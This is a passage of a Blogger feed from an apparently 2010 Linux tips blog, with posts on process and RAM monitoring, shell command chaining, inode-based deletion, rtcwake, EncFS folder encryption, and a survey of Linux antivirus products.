scheme='http://www.blogger.com/atom/ns#' term='ps'/><category scheme='http://www.blogger.com/atom/ns#' term='inode'/><category scheme='http://www.blogger.com/atom/ns#' term='command chaining'/><title type='text'>Linux Amazing Keypresses &amp; Commands : Set 5</title><content type='html'>&lt;ul&gt;&lt;li&gt;Finding the top 20 processing in consuming the RAM.&lt;/li&gt;&lt;/ul&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;$ps aux | awk '{print $2, $4, $11}' | sort -k2rn | head -n 20&lt;br /&gt;&lt;/pre&gt;This command will list the top 20 process in decreasing order of their RAM consumption. It will be more helpful if you add a alias this command. Another solution for it is htop.&lt;br /&gt;Install htop. For Fedora/RedHat users.&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;$yum install htop&lt;br /&gt;&lt;/pre&gt;For Ubuntu users.&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;$sudo apt-get install htop&lt;/pre&gt;For sorting the processes run htop &amp;amp; type&lt;br /&gt;M for RAM&lt;br /&gt;P for CPU&lt;br /&gt;T for TIME&lt;br /&gt;To invert the processes type I.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Command chaining.&lt;/li&gt;&lt;/ul&gt;You can chain a number a commands so the you can fetch a burger while your linux box is busy executing them.&lt;br /&gt;In order to execute a series of commands regardless of any error, we have to chain them with ';'. For example,&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#cd /home/rom/; ls ; cd /home/guest/ ; ls&lt;br /&gt;&lt;/pre&gt;In order to execute them only if preceding one executed successfully, we will chain them using '&amp;amp;&amp;amp;'.&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 530px;"&gt;#cd test &amp;amp;&amp;amp; cp -f -R * /home/ron/new &amp;amp;&amp;amp; rm -f -R *&lt;/pre&gt;In order to execute them only if preceding one fails, we will chain them using '||'.&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#cd new || mkdir new&lt;/pre&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Deleting files using their inode value. Use ls -l to list the inode value.&lt;/li&gt;&lt;/ul&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#find . -inum 123456 -exec rm -i {} \;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;a href="http://htop.sourceforge.net/"&gt;http://htop.sourceforge.net/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://bashshell.net/"&gt;http://bashshell.net/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.linuxaria.com/"&gt;http://www.linuxaria.com/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-932451236932174149?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/932451236932174149/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/linux-amazing-keypresses-commands-set-5.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/932451236932174149'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/932451236932174149'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/linux-amazing-keypresses-commands-set-5.html' title='Linux Amazing Keypresses &amp; Commands : Set 5'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-2067211790512076327</id><published>2010-12-10T13:21:00.002+05:30</published><updated>2011-12-03T19:33:26.132+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Amazing commands'/><category scheme='http://www.blogger.com/atom/ns#' term='Utility Softwares'/><category scheme='http://www.blogger.com/atom/ns#' term='Crontab'/><category scheme='http://www.blogger.com/atom/ns#' term='Utility Software'/><category scheme='http://www.blogger.com/atom/ns#' term='rtcwake'/><title type='text'>rtcwake : Wake up your system after given time.</title><content type='html'>Waking up the pc is the common need of every moderate users. In that case rtcwake is a useful utility for you. Using this utility you can wake up your linux box at any given time. So, why do we need to wake up the poor soul. Because of the following reasons:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;System clean-up when you are busy sleeping after exploiting the pc for a whole day.&lt;/li&gt;&lt;li&gt; Routine System backup when you are busy attending other emergencies.&amp;nbsp;&lt;/li&gt;&lt;li&gt;Running a cron job like buzzing a song to wake you up.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;The usage can be endless. To install this program. Execute commands below.&lt;br /&gt;&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 30px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 440px;"&gt;sudo apt-get install rtcwake&lt;br /&gt;sudo chmod u+s /usr/sbin/rtcwake&lt;/pre&gt;&lt;br /&gt;An example of the rtcwake command can be&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 440px;"&gt;rtcwake -m mem -s 300&lt;/pre&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;-m stands for mode. Use standby state mode. Valid values are standby(sleep), mem(suspend to RAM), disk(hibernation) and &lt;i&gt;on&lt;/i&gt; (no suspend). The default is standby.&lt;br /&gt;-s stands for seconds after the pc is awaken. In above example, it is 300 seconds.&lt;br /&gt;You can use -t instead of -s.&lt;br /&gt;Go through the &lt;a href="http://linux.die.net/man/8/rtcwake"&gt;man pages&lt;/a&gt; for all options. &lt;br /&gt;For know how about setting cron jobs &lt;a href="http://linux-techy.blogspot.com/2010/12/online-crontab-tool.html"&gt;click the link&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Warning: Be informed, rtcwake is kernel level program &amp;amp; may damage your pc. It don't works on older versions of Linux. You need root permission to execute it.&amp;nbsp; For more complex sleep modes,       you will need a modern BIOS. &lt;a href="http://www.nvnews.net/vbulletin/showthread.php?t=130082"&gt;This can happen to you too.&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;a href="http://linux.die.net/man/8/rtcwake"&gt;http://linux.die.net/man/8/rtcwake&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.osnews.com/story/24111/Wake_Your_Linux_Up_From_Sleep_for_a_Cron_Job"&gt;http://www.osnews.com/story/24111/Wake_Your_Linux_Up_From_Sleep_for_a_Cron_Job&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;For further tweaking visit:&lt;br /&gt;&lt;a href="http://forum.xbmc.org/showthread.php?t=76710"&gt;http://forum.xbmc.org/showthread.php?t=76710&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.uluga.ubuntuforums.org/showpost.php?p=8278439&amp;amp;postcount=14"&gt;http://www.uluga.ubuntuforums.org/showpost.php?p=8278439&amp;amp;postcount=14&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-2067211790512076327?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/2067211790512076327/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/rtcwake-wake-up-your-system-after-given.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/2067211790512076327'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/2067211790512076327'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/rtcwake-wake-up-your-system-after-given.html' title='rtcwake : Wake up your system after given time.'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-4229039468114082086</id><published>2010-12-08T11:14:00.002+05:30</published><updated>2011-12-03T19:33:26.154+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking/Security Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Amazing commands'/><category scheme='http://www.blogger.com/atom/ns#' term='encfs'/><category scheme='http://www.blogger.com/atom/ns#' term='encryption'/><title type='text'>Encrypt files using EncFS</title><content type='html'>Creating an encrypted folder using EncFS is a easy job. It's a simple utility to encrypt your files. At first you have to login as a root.&lt;br /&gt;Execute &amp;gt;su &amp;amp; enter root password.&lt;br /&gt;&lt;br /&gt;Install encfs &amp;amp; fuse.&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;"&gt;$apt-get install encfs fuse-utils&lt;/pre&gt;&lt;br /&gt;Load the use module in the kernel as root&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;"&gt;$modprobe fuse&lt;/pre&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Create to folders. Note that .&lt;folder_name&gt; is used for hidden folders. Execute 'ls -a' to see hidden files/folders&lt;br /&gt;&lt;/folder_name&gt;&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;"&gt;$mkdir .folder&lt;/pre&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;"&gt;$mkdir folder&lt;/pre&gt;&lt;br /&gt;Now we need to mount these folders with encfs.The following command will ask you some things needed to create the encrypted file system, as the password which will protect this file.By simply pressing [ENTER] to these questions (except the password ...), we will have a settings arrangement that suits most people. Otherwise,check the questions one by one, reading the man pages more ...&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;"&gt;$encfs /home/user/.folder /home/user/folder&lt;/pre&gt;&lt;br /&gt;Now file is ready to add private data. add some files &amp;amp; unmount the folder by executing.&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;"&gt;$fusermount -u /home/user/folder&lt;/pre&gt;&lt;br /&gt;After executing this command check the content of folder directory. It will be empty. If you check the content of .folder, it will be encrypted. &lt;br /&gt;To read the files again you have to mount it again. execute-&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;"&gt;$encfs /home/user/.folder /home/user/folder&lt;/pre&gt;&lt;br /&gt;Provide the password &amp;amp; your files will be visible again.&lt;br /&gt;&lt;br /&gt;Reference:&lt;br /&gt;&lt;a href="http://open-help.org/tutorials/applications/encfs"&gt;http://open-help.org/tutorials/applications/encfs&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-4229039468114082086?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/4229039468114082086/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/encrypt-files-using-encfs.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/4229039468114082086'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/4229039468114082086'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/encrypt-files-using-encfs.html' title='Encrypt files using EncFS'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-1896280619079844781</id><published>2010-12-05T13:01:00.002+05:30</published><updated>2011-12-03T19:33:26.125+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking/Security Software'/><category scheme='http://www.blogger.com/atom/ns#' term='linux antivirus'/><category scheme='http://www.blogger.com/atom/ns#' term='kaspersky'/><category scheme='http://www.blogger.com/atom/ns#' term='clamAV'/><title type='text'>Antivirus Solutions for linux-3</title><content type='html'>&lt;a href="http://linux-techy.blogspot.com/2010/12/antivirus-solutions-for-linux-2.html"&gt;Continued... from the previous post.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;5.&lt;/b&gt; &lt;a href="http://www.kaspersky.com/anti-virus_linux_workstation"&gt;Kaspersky Anti-Virus&lt;/a&gt; for Linux Workstation is a two-part solution designed to protect workstations. The first module, the on access protection, is integrated with the operating system and checks file modified files (either new or amended files), thereby ensuring real-time protection of the system without significantly increasing server load. The second module, the on demand scanner, scans the file system, removable media devices and individual files either on schedule or on demand.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;ul&gt;&lt;object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" height="200" style="clear: right; float: right;" width="400"&gt; &lt;param name="movie" value="http://www.britepic.com/britepic.swf"&gt;&lt;param name="FlashVars" value="id=1579624&amp;src=http://3.bp.blogspot.com/_aCbewboCjBM/TPs1nz78QWI/AAAAAAAAAME/ZllSbcWKmJk/s1600/kasper.jpg&amp;keywords=antivirus,%20linux,%20open%20source,%20security,&amp;show_ads=1&amp;show_menu=1&amp;href=http://www.kaspersky.com/anti-virus_linux_workstation&amp;caption=kaspersky&amp;width=400&amp;height=200&amp;" &gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;param name="wmode" value="transparent"&gt;&lt;embed src="http://www.britepic.com/britepic.swf" flashvars="id=1579624&amp;src=http://3.bp.blogspot.com/_aCbewboCjBM/TPs1nz78QWI/AAAAAAAAAME/ZllSbcWKmJk/s1600/kasper.jpg&amp;keywords=antivirus,%20linux,%20open%20source,%20security,&amp;show_ads=1&amp;show_menu=1&amp;href=http://www.kaspersky.com/anti-virus_linux_workstation&amp;caption=kaspersky&amp;width=400&amp;height=200&amp;" allowscriptaccess="always" pluginspage="http://www.macromedia.com/go/getflashplayer" wmode="transparent" type="application/x-shockwave-flash" width="400" height="200"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;li&gt;Antivirus Protection - It provides real-time protection of the system, on demand file system scanning, isolates objects for further analysis quarantine &amp;amp; backup storage. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&amp;nbsp;Easy Administration - It supports remote administration,fine tuning, notification system, reports &amp;amp; automatic database updating. &lt;/li&gt;&lt;/ul&gt;&lt;b&gt;6.&lt;/b&gt; &lt;a href="http://www.clamav.net/lang/en/about/"&gt;Clam AntiVirus&lt;/a&gt; is an open source (GPL) anti-virus toolkit for UNIX, designed especially for e-mail scanning on mail gateways. It provides a number of utilities including a flexible and scalable multi-threaded daemon, a command line scanner and advanced tool for automatic database updates. The core of the package is an anti-virus engine available in a form of shared library.&lt;br /&gt;&lt;object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" height="138" style="clear: right; float: right;" width="400"&gt; &lt;param name="movie" value="http://www.britepic.com/britepic.swf"&gt;&lt;param name="FlashVars" value="id=1579624&amp;src=http://2.bp.blogspot.com/_aCbewboCjBM/TPs3qmCWYDI/AAAAAAAAAMI/4vpWD9AjI0o/s1600/clam.jpg&amp;keywords=antivirus,%20linux,%20open%20source,%20security,&amp;show_ads=1&amp;show_menu=1&amp;href=http://www.clamav.net/lang/en/about/&amp;caption=clamAV&amp;width=400&amp;height=138&amp;" &gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;param name="wmode" value="transparent"&gt;&lt;embed src="http://www.britepic.com/britepic.swf" flashvars="id=1579624&amp;src=http://2.bp.blogspot.com/_aCbewboCjBM/TPs3qmCWYDI/AAAAAAAAAMI/4vpWD9AjI0o/s1600/clam.jpg&amp;keywords=antivirus,%20linux,%20open%20source,%20security,&amp;show_ads=1&amp;show_menu=1&amp;href=http://www.clamav.net/lang/en/about/&amp;caption=clamAV&amp;width=400&amp;height=138&amp;" allowscriptaccess="always" pluginspage="http://www.macromedia.com/go/getflashplayer" wmode="transparent" type="application/x-shockwave-flash" width="400" height="138"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;Here is a list of the main features:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * command-line scanner&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * fast, multi-threaded daemon with support for on-access scanning&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * milter interface for sendmail&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * advanced database updater with support for scripted updates and digital signatures&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * virus scanner C library&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * on-access scanning (Linux® and FreeBSD®)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * virus database updated multiple times per day (see home page for total number of signatures)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * built-in support for various archive formats, including Zip, RAR, Tar, Gzip, Bzip2, OLE2, Cabinet, CHM, BinHex, SIS and others&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * built-in support for almost all mail file formats&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * built-in support for ELF executables and Portable Executable files compressed with UPX, FSG, Petite, NsPack, wwpack32, MEW, Upack and obfuscated with SUE, Y0da Cryptor and others&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * built-in support for popular document formats including MS Office and MacOffice files, HTML, RTF and PDF&lt;br /&gt;&lt;br /&gt;You can have look at more antivirus solution for linux at this &lt;a href="http://www.linux.org/apps/all/System/Anti-Virus.html"&gt;link&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-1896280619079844781?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/1896280619079844781/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/antivirus-solutions-for-linux-3.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/1896280619079844781'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/1896280619079844781'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/antivirus-solutions-for-linux-3.html' title='Antivirus Solutions for linux-3'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-8663861451298083352</id><published>2010-12-05T12:48:00.001+05:30</published><updated>2011-12-03T19:33:26.232+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking/Security Software'/><category scheme='http://www.blogger.com/atom/ns#' term='linux antivirus'/><category scheme='http://www.blogger.com/atom/ns#' term='McAfee'/><category scheme='http://www.blogger.com/atom/ns#' term='F-Prot'/><title type='text'>Antivirus Solutions for linux-2</title><content type='html'>&lt;a href="http://linux-techy.blogspot.com/2010/12/antivirus-solutions-for-linux.html"&gt;Continued.... from previous post.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" height="335" style="clear: right; float: right;" width="400"&gt; &lt;param name="movie" value="http://www.britepic.com/britepic.swf"&gt;&lt;param name="FlashVars" value="id=1579624&amp;src=http://3.bp.blogspot.com/_aCbewboCjBM/TPs0VwqprVI/AAAAAAAAAL8/Nori9BdskJQ/s1600/fprot.jpg&amp;keywords=antivirus,%20linux,%20open%20source,%20security,&amp;show_ads=1&amp;show_menu=1&amp;href=http://www.f-prot.com/products/home_use/linux/&amp;caption=f-prot&amp;width=400&amp;height=335&amp;" &gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;param name="wmode" value="transparent"&gt;&lt;embed src="http://www.britepic.com/britepic.swf" flashvars="id=1579624&amp;src=http://3.bp.blogspot.com/_aCbewboCjBM/TPs0VwqprVI/AAAAAAAAAL8/Nori9BdskJQ/s1600/fprot.jpg&amp;keywords=antivirus,%20linux,%20open%20source,%20security,&amp;show_ads=1&amp;show_menu=1&amp;href=http://www.f-prot.com/products/home_use/linux/&amp;caption=f-prot&amp;width=400&amp;height=335&amp;" allowscriptaccess="always" pluginspage="http://www.macromedia.com/go/getflashplayer" wmode="transparent" type="application/x-shockwave-flash" width="400" height="335"&gt;&lt;/embed&gt;&lt;/object&gt;3. &lt;a href="http://www.f-prot.com/products/home_use/linux/"&gt;F-Prot Antivirus&lt;/a&gt; for Linux Workstations is meant for home users using the Linux open-source operating system . F-PROT Antivirus for Linux Workstations utilizes the renowned F-PROT Antivirus scanning engine for primary scan but has in addition to that a system of internal heuristics devised to search for unknown viruses.&lt;br /&gt;F-PROT Antivirus for Linux was especially developed to effectively eradicate viruses threatening workstations running Linux. It provides full protection against macro viruses and other forms of malicious software - including Trojans.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;F-PROT for Linux Workstations features:&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Scans for over 1817657 known viruses and their variants&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Ability to perform scheduled scans when used with the cron utility&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Scans hard drives, CD-ROMS, diskettes, network drives, directories and specific files&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Scans for images of boot sector viruses, macro viruses and Trojan Horses &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" height="257" style="clear: right; float: right;" width="400"&gt; &lt;param name="movie" value="http://www.britepic.com/britepic.swf"&gt;&lt;param name="FlashVars" value="id=1579624&amp;src=http://3.bp.blogspot.com/_aCbewboCjBM/TPs1BucEU1I/AAAAAAAAAMA/rQGYZdCSDxs/s1600/macfee.jpg&amp;keywords=antivirus,%20linux,%20open%20source,%20security,&amp;show_ads=1&amp;show_menu=1&amp;href=http://www.mcafee.com/us/enterprise/products/system_security/servers/linuxshield.html&amp;caption=McAfee&amp;width=400&amp;height=257&amp;" &gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;param name="wmode" value="transparent"&gt;&lt;embed src="http://www.britepic.com/britepic.swf" flashvars="id=1579624&amp;src=http://3.bp.blogspot.com/_aCbewboCjBM/TPs1BucEU1I/AAAAAAAAAMA/rQGYZdCSDxs/s1600/macfee.jpg&amp;keywords=antivirus,%20linux,%20open%20source,%20security,&amp;show_ads=1&amp;show_menu=1&amp;href=http://www.mcafee.com/us/enterprise/products/system_security/servers/linuxshield.html&amp;caption=McAfee&amp;width=400&amp;height=257&amp;" allowscriptaccess="always" pluginspage="http://www.macromedia.com/go/getflashplayer" wmode="transparent" type="application/x-shockwave-flash" width="400" height="257"&gt;&lt;/embed&gt;&lt;/object&gt;4. &lt;a href="http://www.mcafee.com/us/enterprise/products/system_security/servers/linuxshield.html"&gt;McAfee VirusScan Enterprise&lt;/a&gt; for Linux delivers always-on, real-time anti-virus protection for Linux environments. Its unique, Linux-based on-access scanner constantly monitors the system for potential attacks. Regular automatic updates from McAfee Labs protect your enterprise from the latest threats without requiring a system reboot.&lt;br /&gt;&lt;br /&gt;Benefits:&lt;br /&gt;Secure your enterprise with always-on protection&lt;br /&gt;Protect your Linux environment with industry-leading protection:&lt;br /&gt;Heuristic scanning - Uses behavior-based rules to identify and block new variants and unknown threats, without the need to download a patch.&lt;br /&gt;Archive scanning - Detects and blocks viruses hidden within archived files.&lt;br /&gt;Cross-platform protection - Blocks Windows malware so it's not transmitted through the Linux environment.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://linux-techy.blogspot.com/2010/12/antivirus-solutions-for-linux-3.html"&gt;Continued in the next post.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-8663861451298083352?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/8663861451298083352/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/antivirus-solutions-for-linux-2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/8663861451298083352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/8663861451298083352'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/antivirus-solutions-for-linux-2.html' title='Antivirus Solutions for linux-2'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-6808279823869958302</id><published>2010-12-05T08:52:00.005+05:30</published><updated>2011-12-03T19:33:26.206+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking/Security Software'/><category scheme='http://www.blogger.com/atom/ns#' term='linux antivirus'/><category scheme='http://www.blogger.com/atom/ns#' term='avast'/><category scheme='http://www.blogger.com/atom/ns#' term='avg'/><title type='text'>Antivirus Solutions for linux</title><content type='html'>It's naive to say that Linux systems are immune to viruses. Linux systems are seldom attacked by viruses because very few viruses are developed targeting Linux systems. Officially Linux desktops are now more than 1% in desktop markets shares. It's the time when people should start thinking about Linux anti-viruses. There are some free/non free solutions:&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;1.&lt;/b&gt; &lt;a href="http://www.avast.com/linux-home-edition"&gt;Avast Linux Home Edition&lt;/a&gt;&lt;br /&gt;Avast is famous anti-virus for providing free anti-virus for windows, now they are providing free anti-virus for increasing Linux systems.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" height="138" style="clear: right; float: right;" 